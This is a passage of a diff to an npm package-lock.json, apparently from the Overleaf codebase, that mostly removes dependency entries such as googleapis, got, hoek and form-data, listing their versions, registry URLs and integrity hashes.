+- "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.1.tgz",
+- "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==",
+- "peer": true,
+- "requires": {
+- "asynckit": "^0.4.0",
+- "combined-stream": "^1.0.8",
+- "mime-types": "^2.1.12"
+- }
+- },
+- "form-data-encoder": {
+- "version": "1.7.1",
+- "resolved": "https://registry.npmjs.org/form-data-encoder/-/form-data-encoder-1.7.1.tgz",
+- "integrity": "sha512-EFRDrsMm/kyqbTQocNvRXMLjc7Es2Vk+IQFx/YW7hkUH1eBl4J1fqiP34l74Yt0pFLCNpc06fkbVk00008mzjg=="
+- },
+- "formdata-node": {
+- "version": "4.3.2",
+- "resolved": "https://registry.npmjs.org/formdata-node/-/formdata-node-4.3.2.tgz",
+- "integrity": "sha512-k7lYJyzDOSL6h917favP8j1L0/wNyylzU+x+1w4p5haGVHNlP58dbpdJhiCUsDbWsa9HwEtLp89obQgXl2e0qg==",
+- "requires": {
+- "node-domexception": "1.0.0",
+- "web-streams-polyfill": "4.0.0-beta.1"
+- }
+- },
+- "formidable": {
+- "version": "1.2.6",
+- "resolved": "https://registry.npmjs.org/formidable/-/formidable-1.2.6.tgz",
+- "integrity": "sha512-KcpbcpuLNOwrEjnbpMC0gS+X8ciDoZE1kkqzat4a8vrprf+s9pKNQ/QIwWfbfs4ltgmFl3MD177SNTkve3BwGQ=="
+- },
+ "formik": {
+ "version": "2.2.9",
+ "resolved": "https://registry.npmjs.org/formik/-/formik-2.2.9.tgz",
+@@ -52326,31 +42725,6 @@
+ "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
+ "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow=="
+ },
+- "fragment-cache": {
+- "version": "0.2.1",
+- "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz",
+- "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=",
+- "requires": {
+- "map-cache": "^0.2.2"
+- }
+- },
+- "freegeoip": {
+- "version": "file:services/freegeoip",
+- "requires": {
+- "@maxmind/geoip2-node": "^3.4.0",
+- "@overleaf/logger": "^3.1.1",
+- "@overleaf/metrics": "^4.0.0",
+- "chai": "^4.3.6",
+- "chai-as-promised": "^7.1.1",
+- "express": "^4.18.1",
+- "is-valid-hostname": "^1.0.2",
+- "mocha": "^8.4.0",
+- "node-fetch": "^2.6.7",
+- "nodemon": "^2.0.19",
+- "tar-stream": "^2.2.0",
+- "zlib": "^1.0.5"
+- }
+- },
+ "fresh": {
+ "version": "0.5.2",
+ "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
+@@ -52573,11 +42947,6 @@
+ }
+ }
+ },
+- "generic-pool": {
+- "version": "2.5.4",
+- "resolved": "https://registry.npmjs.org/generic-pool/-/generic-pool-2.5.4.tgz",
+- "integrity": "sha1-OMYYhRPhQDCUjsblz2VSPZd5KZs="
+- },
+ "gensync": {
+ "version": "1.0.0-beta.2",
+ "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
+@@ -52615,14 +42984,6 @@
+ "resolved": "https://registry.npmjs.org/get-port/-/get-port-5.1.1.tgz",
+ "integrity": "sha512-g/Q1aTSDOxFpchXC4i8ZWvxA1lnPqx/JHqcpIw0/LX9T8x/GBbi6YnlN5nhaKIFkT8oFsscUKgDJYxfwfS6QsQ=="
+ },
+- "get-stream": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz",
+- "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==",
+- "requires": {
+- "pump": "^3.0.0"
+- }
+- },
+ "get-symbol-description": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz",
+@@ -52632,16 +42993,6 @@
+ "get-intrinsic": "^1.1.1"
+ }
+ },
+- "get-value": {
+- "version": "2.0.6",
+- "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz",
+- "integrity": "sha1-3BXKHGcjh8p2vTesCjlbogQqLCg="
+- },
+- "getopts": {
+- "version": "2.2.5",
+- "resolved": "https://registry.npmjs.org/getopts/-/getopts-2.2.5.tgz",
+- "integrity": "sha512-9jb7AW5p3in+IiJWhQiZmmwkpLaR/ccTWdWQCtZM66HJcHHLegowh4q4tSD7gouUyeNvFWRavfK9GXosQHDpFA=="
+- },
+ "getos": {
+ "version": "3.2.1",
+ "resolved": "https://registry.npmjs.org/getos/-/getos-3.2.1.tgz",
+@@ -52834,51 +43185,6 @@
+ }
+ }
+ },
+- "good-bunyan": {
+- "version": "3.0.1",
+- "resolved": "https://registry.npmjs.org/good-bunyan/-/good-bunyan-3.0.1.tgz",
+- "integrity": "sha512-zhux9w1Ux6uLobUYJWyOy4l8HFl6tYol+0yfDtAu2+V9RYZUSVL1RWz83fAjbcoVk4c1h2iQaBRh0EnnVUoOvQ==",
+- "requires": {
+- "bunyan": "^1.8.12",
+- "fast-safe-stringify": "^2.0.3",
+- "good-squeeze": "^5.0.x",
+- "hoek": "^5.0.3",
+- "joi": "^13.1.2"
+- },
+- "dependencies": {
+- "joi": {
+- "version": "13.7.0",
+- "resolved": "https://registry.npmjs.org/joi/-/joi-13.7.0.tgz",
+- "integrity": "sha512-xuY5VkHfeOYK3Hdi91ulocfuFopwgbSORmIwzcwHKESQhC7w1kD5jaVSPnqDxS2I8t3RZ9omCKAxNwXN5zG1/Q==",
+- "requires": {
+- "hoek": "5.x.x",
+- "isemail": "3.x.x",
+- "topo": "3.x.x"
+- }
+- }
+- }
+- },
+- "good-squeeze": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/good-squeeze/-/good-squeeze-5.1.0.tgz",
+- "integrity": "sha1-Jl8+i+YIGqRMVdSE0a83XhZnUrk=",
+- "requires": {
+- "fast-safe-stringify": "2.0.x",
+- "hoek": "4.2.x"
+- },
+- "dependencies": {
+- "fast-safe-stringify": {
+- "version": "2.0.8",
+- "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.0.8.tgz",
+- "integrity": "sha512-lXatBjf3WPjmWD6DpIZxkeSsCOwqI0maYMpgDlx8g4U2qi4lbjA9oH/HD2a87G+KfsUmo5WbJFmqBZlPxtptag=="
+- },
+- "hoek": {
+- "version": "4.2.1",
+- "resolved": "https://registry.npmjs.org/hoek/-/hoek-4.2.1.tgz",
+- "integrity": "sha512-QLg82fGkfnJ/4iy1xZ81/9SIJiq1NGFUMGs6ParyjBZr6jW2Ufj/snDqTHixNlHdPNwN2RLVD0Pi3igeK9+JfA=="
+- }
+- }
+- },
+ "google-auth-library": {
+ "version": "7.11.0",
+ "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-7.11.0.tgz",
+@@ -52963,311 +43269,11 @@
+ "node-forge": "^1.0.0"
+ }
+ },
+- "googleapis": {
+- "version": "39.2.0",
+- "resolved": "https://registry.npmjs.org/googleapis/-/googleapis-39.2.0.tgz",
+- "integrity": "sha512-66X8TG1B33zAt177sG1CoKoYHPP/B66tEpnnSANGCqotMuY5gqSQO8G/0gqHZR2jRgc5CHSSNOJCnpI0SuDxMQ==",
+- "requires": {
+- "google-auth-library": "^3.0.0",
+- "googleapis-common": "^0.7.0"
+- },
+- "dependencies": {
+- "agent-base": {
+- "version": "4.3.0",
+- "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-4.3.0.tgz",
+- "integrity": "sha512-salcGninV0nPrwpGNn4VTXBb1SOuXQBiqbrNXoeizJsHrsL6ERFM2Ne3JUSBWRE6aeNJI2ROP/WEEIDUiDe3cg==",
+- "requires": {
+- "es6-promisify": "^5.0.0"
+- }
+- },
+- "debug": {
+- "version": "3.2.7",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+- "requires": {
+- "ms": "^2.1.1"
+- }
+- },
+- "gaxios": {
+- "version": "1.8.4",
+- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-1.8.4.tgz",
+- "integrity": "sha512-BoENMnu1Gav18HcpV9IleMPZ9exM+AvUjrAOV4Mzs/vfz2Lu/ABv451iEXByKiMPn2M140uul1txXCg83sAENw==",
+- "requires": {
+- "abort-controller": "^3.0.0",
+- "extend": "^3.0.2",
+- "https-proxy-agent": "^2.2.1",
+- "node-fetch": "^2.3.0"
+- }
+- },
+- "gcp-metadata": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-1.0.0.tgz",
+- "integrity": "sha512-Q6HrgfrCQeEircnNP3rCcEgiDv7eF9+1B+1MMgpE190+/+0mjQR8PxeOaRgxZWmdDAF9EIryHB9g1moPiw1SbQ==",
+- "requires": {
+- "gaxios": "^1.0.2",
+- "json-bigint": "^0.3.0"
+- }
+- },
+- "google-auth-library": {
+- "version": "3.1.2",
+- "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-3.1.2.tgz",
+- "integrity": "sha512-cDQMzTotwyWMrg5jRO7q0A4TL/3GWBgO7I7q5xGKNiiFf9SmGY/OJ1YsLMgI2MVHHsEGyrqYnbnmV1AE+Z6DnQ==",
+- "requires": {
+- "base64-js": "^1.3.0",
+- "fast-text-encoding": "^1.0.0",
+- "gaxios": "^1.2.1",
+- "gcp-metadata": "^1.0.0",
+- "gtoken": "^2.3.2",
+- "https-proxy-agent": "^2.2.1",
+- "jws": "^3.1.5",
+- "lru-cache": "^5.0.0",
+- "semver": "^5.5.0"
+- }
+- },
+- "google-p12-pem": {
+- "version": "1.0.5",
+- "resolved": "https://registry.npmjs.org/google-p12-pem/-/google-p12-pem-1.0.5.tgz",
+- "integrity": "sha512-50rTrqYPTPPwlu9TNl/HkJbBENEpbRzTOVLFJ4YWM86njZgXHFy+FP+tLRSd9m132Li9Dqi27Z3KIWDEv5y+EA==",
+- "requires": {
+- "node-forge": "^0.10.0",
+- "pify": "^4.0.0"
+- }
+- },
+- "gtoken": {
+- "version": "2.3.3",
+- "resolved": "https://registry.npmjs.org/gtoken/-/gtoken-2.3.3.tgz",
+- "integrity": "sha512-EaB49bu/TCoNeQjhCYKI/CurooBKkGxIqFHsWABW0b25fobBYVTMe84A8EBVVZhl8emiUdNypil9huMOTmyAnw==",
+- "requires": {
+- "gaxios": "^1.0.4",
+- "google-p12-pem": "^1.0.0",
+- "jws": "^3.1.5",
+- "mime": "^2.2.0",
+- "pify": "^4.0.0"
+- }
+- },
+- "https-proxy-agent": {
+- "version": "2.2.4",
+- "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-2.2.4.tgz",
+- "integrity": "sha512-OmvfoQ53WLjtA9HeYP9RNrWMJzzAz1JGaSFr1nijg0PVR1JaD/xbJq1mdEIIlxGpXp9eSe/O2LgU9DJmTPd0Eg==",
+- "requires": {
+- "agent-base": "^4.3.0",
+- "debug": "^3.1.0"
+- }
+- },
+- "json-bigint": {
+- "version": "0.3.1",
+- "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-0.3.1.tgz",
+- "integrity": "sha512-DGWnSzmusIreWlEupsUelHrhwmPPE+FiQvg+drKfk2p+bdEYa5mp4PJ8JsCWqae0M2jQNb0HPvnwvf1qOTThzQ==",
+- "requires": {
+- "bignumber.js": "^9.0.0"
+- }
+- },
+- "jwa": {
+- "version": "1.4.1",
+- "resolved": "https://registry.npmjs.org/jwa/-/jwa-1.4.1.tgz",
+- "integrity": "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==",
+- "requires": {
+- "buffer-equal-constant-time": "1.0.1",
+- "ecdsa-sig-formatter": "1.0.11",
+- "safe-buffer": "^5.0.1"
+- }
+- },
+- "jws": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.2.tgz",
+- "integrity": "sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==",
+- "requires": {
+- "jwa": "^1.4.1",
+- "safe-buffer": "^5.0.1"
+- }
+- },
+- "node-forge": {
+- "version": "0.10.0",
+- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz",
+- "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA=="
+- },
+- "pify": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
+- "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g=="
+- },
+- "semver": {
+- "version": "5.7.1",
+- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
+- }
+- }
+- },
+- "googleapis-common": {
+- "version": "0.7.2",
+- "resolved": "https://registry.npmjs.org/googleapis-common/-/googleapis-common-0.7.2.tgz",
+- "integrity": "sha512-9DEJIiO4nS7nw0VE1YVkEfXEj8x8MxsuB+yZIpOBULFSN9OIKcUU8UuKgSZFU4lJmRioMfngktrbkMwWJcUhQg==",
+- "requires": {
+- "gaxios": "^1.2.2",
+- "google-auth-library": "^3.0.0",
+- "pify": "^4.0.0",
+- "qs": "^6.5.2",
+- "url-template": "^2.0.8",
+- "uuid": "^3.2.1"
+- },
+- "dependencies": {
+- "agent-base": {
+- "version": "4.3.0",
+- "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-4.3.0.tgz",
+- "integrity": "sha512-salcGninV0nPrwpGNn4VTXBb1SOuXQBiqbrNXoeizJsHrsL6ERFM2Ne3JUSBWRE6aeNJI2ROP/WEEIDUiDe3cg==",
+- "requires": {
+- "es6-promisify": "^5.0.0"
+- }
+- },
+- "debug": {
+- "version": "3.2.7",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+- "requires": {
+- "ms": "^2.1.1"
+- }
+- },
+- "gaxios": {
+- "version": "1.8.4",
+- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-1.8.4.tgz",
+- "integrity": "sha512-BoENMnu1Gav18HcpV9IleMPZ9exM+AvUjrAOV4Mzs/vfz2Lu/ABv451iEXByKiMPn2M140uul1txXCg83sAENw==",
+- "requires": {
+- "abort-controller": "^3.0.0",
+- "extend": "^3.0.2",
+- "https-proxy-agent": "^2.2.1",
+- "node-fetch": "^2.3.0"
+- }
+- },
+- "gcp-metadata": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-1.0.0.tgz",
+- "integrity": "sha512-Q6HrgfrCQeEircnNP3rCcEgiDv7eF9+1B+1MMgpE190+/+0mjQR8PxeOaRgxZWmdDAF9EIryHB9g1moPiw1SbQ==",
+- "requires": {
+- "gaxios": "^1.0.2",
+- "json-bigint": "^0.3.0"
+- }
+- },
+- "google-auth-library": {
+- "version": "3.1.2",
+- "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-3.1.2.tgz",
+- "integrity": "sha512-cDQMzTotwyWMrg5jRO7q0A4TL/3GWBgO7I7q5xGKNiiFf9SmGY/OJ1YsLMgI2MVHHsEGyrqYnbnmV1AE+Z6DnQ==",
+- "requires": {
+- "base64-js": "^1.3.0",
+- "fast-text-encoding": "^1.0.0",
+- "gaxios": "^1.2.1",
+- "gcp-metadata": "^1.0.0",
+- "gtoken": "^2.3.2",
+- "https-proxy-agent": "^2.2.1",
+- "jws": "^3.1.5",
+- "lru-cache": "^5.0.0",
+- "semver": "^5.5.0"
+- }
+- },
+- "google-p12-pem": {
+- "version": "1.0.5",
+- "resolved": "https://registry.npmjs.org/google-p12-pem/-/google-p12-pem-1.0.5.tgz",
+- "integrity": "sha512-50rTrqYPTPPwlu9TNl/HkJbBENEpbRzTOVLFJ4YWM86njZgXHFy+FP+tLRSd9m132Li9Dqi27Z3KIWDEv5y+EA==",
+- "requires": {
+- "node-forge": "^0.10.0",
+- "pify": "^4.0.0"
+- }
+- },
+- "gtoken": {
+- "version": "2.3.3",
+- "resolved": "https://registry.npmjs.org/gtoken/-/gtoken-2.3.3.tgz",
+- "integrity": "sha512-EaB49bu/TCoNeQjhCYKI/CurooBKkGxIqFHsWABW0b25fobBYVTMe84A8EBVVZhl8emiUdNypil9huMOTmyAnw==",
+- "requires": {
+- "gaxios": "^1.0.4",
+- "google-p12-pem": "^1.0.0",
+- "jws": "^3.1.5",
+- "mime": "^2.2.0",
+- "pify": "^4.0.0"
+- }
+- },
+- "https-proxy-agent": {
+- "version": "2.2.4",
+- "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-2.2.4.tgz",
+- "integrity": "sha512-OmvfoQ53WLjtA9HeYP9RNrWMJzzAz1JGaSFr1nijg0PVR1JaD/xbJq1mdEIIlxGpXp9eSe/O2LgU9DJmTPd0Eg==",
+- "requires": {
+- "agent-base": "^4.3.0",
+- "debug": "^3.1.0"
+- }
+- },
+- "json-bigint": {
+- "version": "0.3.1",
+- "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-0.3.1.tgz",
+- "integrity": "sha512-DGWnSzmusIreWlEupsUelHrhwmPPE+FiQvg+drKfk2p+bdEYa5mp4PJ8JsCWqae0M2jQNb0HPvnwvf1qOTThzQ==",
+- "requires": {
+- "bignumber.js": "^9.0.0"
+- }
+- },
+- "jwa": {
+- "version": "1.4.1",
+- "resolved": "https://registry.npmjs.org/jwa/-/jwa-1.4.1.tgz",
+- "integrity": "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==",
+- "requires": {
+- "buffer-equal-constant-time": "1.0.1",
+- "ecdsa-sig-formatter": "1.0.11",
+- "safe-buffer": "^5.0.1"
+- }
+- },
+- "jws": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.2.tgz",
+- "integrity": "sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==",
+- "requires": {
+- "jwa": "^1.4.1",
+- "safe-buffer": "^5.0.1"
+- }
+- },
+- "node-forge": {
+- "version": "0.10.0",
+- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz",
+- "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA=="
+- },
+- "pify": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
+- "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g=="
+- },
+- "semver": {
+- "version": "5.7.1",
+- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ=="
+- }
+- }
+- },
+- "got": {
+- "version": "9.6.0",
+- "resolved": "https://registry.npmjs.org/got/-/got-9.6.0.tgz",
+- "integrity": "sha512-R7eWptXuGYxwijs0eV+v3o6+XH1IqVK8dJOEecQfTmkncw9AV4dcw/Dhxi8MdlqPthxxpZyizMzyg8RTmEsG+Q==",
+- "requires": {
+- "@sindresorhus/is": "^0.14.0",
+- "@szmarczak/http-timer": "^1.1.2",
+- "cacheable-request": "^6.0.0",
+- "decompress-response": "^3.3.0",
+- "duplexer3": "^0.1.4",
+- "get-stream": "^4.1.0",
+- "lowercase-keys": "^1.0.1",
+- "mimic-response": "^1.0.1",
+- "p-cancelable": "^1.0.0",
+- "to-readable-stream": "^1.0.0",
+- "url-parse-lax": "^3.0.0"
+- }
+- },
+ "graceful-fs": {
+ "version": "4.2.9",
+ "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.9.tgz",
+ "integrity": "sha512-NtNxqUcXgpW2iMrfqSfR73Glt39K+BLwWsPs94yR63v45T0Wbej7eRmL5cWfwEgqXnmjQp3zaJTshdRW/qC2ZQ=="
+ },
+- "graphlib": {
+- "version": "2.1.8",
+- "resolved": "https://registry.npmjs.org/graphlib/-/graphlib-2.1.8.tgz",
+- "integrity": "sha512-jcLLfkpoVGmH7/InMC/1hIvOPSUh38oJtGhvrOFGzioE1DZ+0YW16RgmOJhHiuWTvGiJQ9Z1Ik43JvkRPRvE+A==",
+- "requires": {
+- "lodash": "^4.17.15"
+- }
+- },
+ "gray-matter": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/gray-matter/-/gray-matter-2.1.1.tgz",
+@@ -53565,53 +43571,6 @@
+ "resolved": "https://registry.npmjs.org/has-unicode/-/has-unicode-2.0.1.tgz",
+ "integrity": "sha1-4Ob+aijPUROIVeCG0Wkedx3iqLk="
+ },
+- "has-value": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/has-value/-/has-value-1.0.0.tgz",
+- "integrity": "sha1-GLKB2lhbHFxR3vJMkw7SmgvmsXc=",
+- "requires": {
+- "get-value": "^2.0.6",
+- "has-values": "^1.0.0",
+- "isobject": "^3.0.0"
+- }
+- },
+- "has-values": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/has-values/-/has-values-1.0.0.tgz",
+- "integrity": "sha1-lbC2P+whRmGab+V/51Yo1aOe/k8=",
+- "requires": {
+- "is-number": "^3.0.0",
+- "kind-of": "^4.0.0"
+- },
+- "dependencies": {
+- "is-number": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz",
+- "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
+- "requires": {
+- "kind-of": "^3.0.2"
+- },
+- "dependencies": {
+- "kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "requires": {
+- "is-buffer": "^1.1.5"
+- }
+- }
+- }
+- },
+- "kind-of": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-4.0.0.tgz",
+- "integrity": "sha1-IIE989cSkosgc3hpGkUGb65y3Vc=",
+- "requires": {
+- "is-buffer": "^1.1.5"
+- }
+- }
+- }
+- },
+ "hash-stream-validation": {
+ "version": "0.2.4",
+ "resolved": "https://registry.npmjs.org/hash-stream-validation/-/hash-stream-validation-0.2.4.tgz",
+@@ -53704,11 +43663,6 @@
+ "resolved": "https://registry.npmjs.org/hide-powered-by/-/hide-powered-by-1.1.0.tgz",
+ "integrity": "sha512-Io1zA2yOA1YJslkr+AJlWSf2yWFkKjvkcL9Ni1XSUqnGLr/qRQe2UI3Cn/J9MsJht7yEVCe0SscY1HgVMujbgg=="
+ },
+- "hoek": {
+- "version": "5.0.4",
+- "resolved": "https://registry.npmjs.org/hoek/-/hoek-5.0.4.tgz",
+- "integrity": "sha512-Alr4ZQgoMlnere5FZJsIyfIjORBqZll5POhDsF4q64dPuJR6rNxXdDxtHSQq8OXRurhmx+PWYEE8bXRROY8h0w=="
+- },
+ "hoist-non-react-statics": {
+ "version": "3.3.2",
+ "resolved": "https://registry.npmjs.org/hoist-non-react-statics/-/hoist-non-react-statics-3.3.2.tgz",
+@@ -53724,14 +43678,6 @@
+ }
+ }
+ },
+- "homedir-polyfill": {
+- "version": "1.0.3",
+- "resolved": "https://registry.npmjs.org/homedir-polyfill/-/homedir-polyfill-1.0.3.tgz",
+- "integrity": "sha512-eSmmWE5bZTK2Nou4g0AI3zZ9rswp7GRKoKXS1BLUkvPviOqs4YTN1djQIqrXy9k5gEtdLPy86JjRwsNM9tnDcA==",
+- "requires": {
+- "parse-passwd": "^1.0.0"
+- }
+- },
+ "hpack.js": {
+ "version": "2.1.6",
+ "resolved": "https://registry.npmjs.org/hpack.js/-/hpack.js-2.1.6.tgz",
+@@ -53878,11 +43824,6 @@
+ "entities": "^2.0.0"
+ }
+ },
+- "http-cache-semantics": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/http-cache-semantics/-/http-cache-semantics-4.1.0.tgz",
+- "integrity": "sha512-carPklcUh7ROWRK7Cv27RPtdhYhUsela/ue5/jKzjegVvXDqM2ILE9Q2BGn9JZJh1g87cp56su/FgQSzcWS8cQ=="
+- },
+ "http-deceiver": {
+ "version": "1.2.7",
+ "resolved": "https://registry.npmjs.org/http-deceiver/-/http-deceiver-1.2.7.tgz",
+@@ -53925,16 +43866,6 @@
+ "requires-port": "^1.0.0"
+ }
+ },
+- "http-proxy-agent": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/http-proxy-agent/-/http-proxy-agent-4.0.1.tgz",
+- "integrity": "sha512-k0zdNgqWTGA6aeIRVpvfVob4fL52dTfaehylg0Y4UvSySvOq/Y+BOyPrgpUrA7HylqvU8vIZGsRuXmspskV0Tg==",
+- "requires": {
+- "@tootallnate/once": "1",
+- "agent-base": "6",
+- "debug": "4"
+- }
+- },
+ "http-proxy-middleware": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/http-proxy-middleware/-/http-proxy-middleware-2.0.4.tgz",
+@@ -53973,11 +43904,6 @@
+ }
+ }
+ },
+- "http-status": {
+- "version": "1.5.0",
+- "resolved": "https://registry.npmjs.org/http-status/-/http-status-1.5.0.tgz",
+- "integrity": "sha512-wcGvY31MpFNHIkUcXHHnvrE4IKYlpvitJw5P/1u892gMBAM46muQ+RH7UN1d+Ntnfx5apnOnVY6vcLmrWHOLwg=="
+- },
+ "https-proxy-agent": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-5.0.0.tgz",
+@@ -54164,11 +44090,6 @@
+ "resolved": "https://registry.npmjs.org/indent-string/-/indent-string-4.0.0.tgz",
+ "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg=="
+ },
+- "inflection": {
+- "version": "1.12.0",
+- "resolved": "https://registry.npmjs.org/inflection/-/inflection-1.12.0.tgz",
+- "integrity": "sha1-ogCTVlbW9fa8TcdQLhrstwMihBY="
+- },
+ "inflight": {
+ "version": "1.0.6",
+ "resolved": "https://registry.npmjs.org/inflight/-/inflight-1.0.6.tgz",
+@@ -54183,16 +44104,6 @@
+ "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz",
+ "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ=="
+ },
+- "ini": {
+- "version": "1.3.8",
+- "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
+- "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="
+- },
+- "install": {
+- "version": "0.13.0",
+- "resolved": "https://registry.npmjs.org/install/-/install-0.13.0.tgz",
+- "integrity": "sha512-zDml/jzr2PKU9I8J/xyZBQn8rPCAY//UOYNmR01XwNwyfhEWObo2SWfSl1+0tm1u6PhxLwDnfsT/6jB7OUxqFA=="
+- },
+ "internal-slot": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/internal-slot/-/internal-slot-1.0.3.tgz",
+@@ -54206,7 +44117,8 @@
+ "interpret": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/interpret/-/interpret-2.2.0.tgz",
+- "integrity": "sha512-Ju0Bz/cEia55xDwUWEa8+olFpCiQoypjnQySseKtmjNrnps3P+xfpUmGr90T7yjlVJmOtybRvPXhKMbHr+fWnw=="
++ "integrity": "sha512-Ju0Bz/cEia55xDwUWEa8+olFpCiQoypjnQySseKtmjNrnps3P+xfpUmGr90T7yjlVJmOtybRvPXhKMbHr+fWnw==",
++ "dev": true
+ },
+ "invariant": {
+ "version": "2.2.4",
+@@ -54247,39 +44159,6 @@
+ "integrity": "sha1-vd7XARQpCCjAoDnnLvJfWq7ENUo=",
+ "devOptional": true
+ },
+- "ip-regex": {
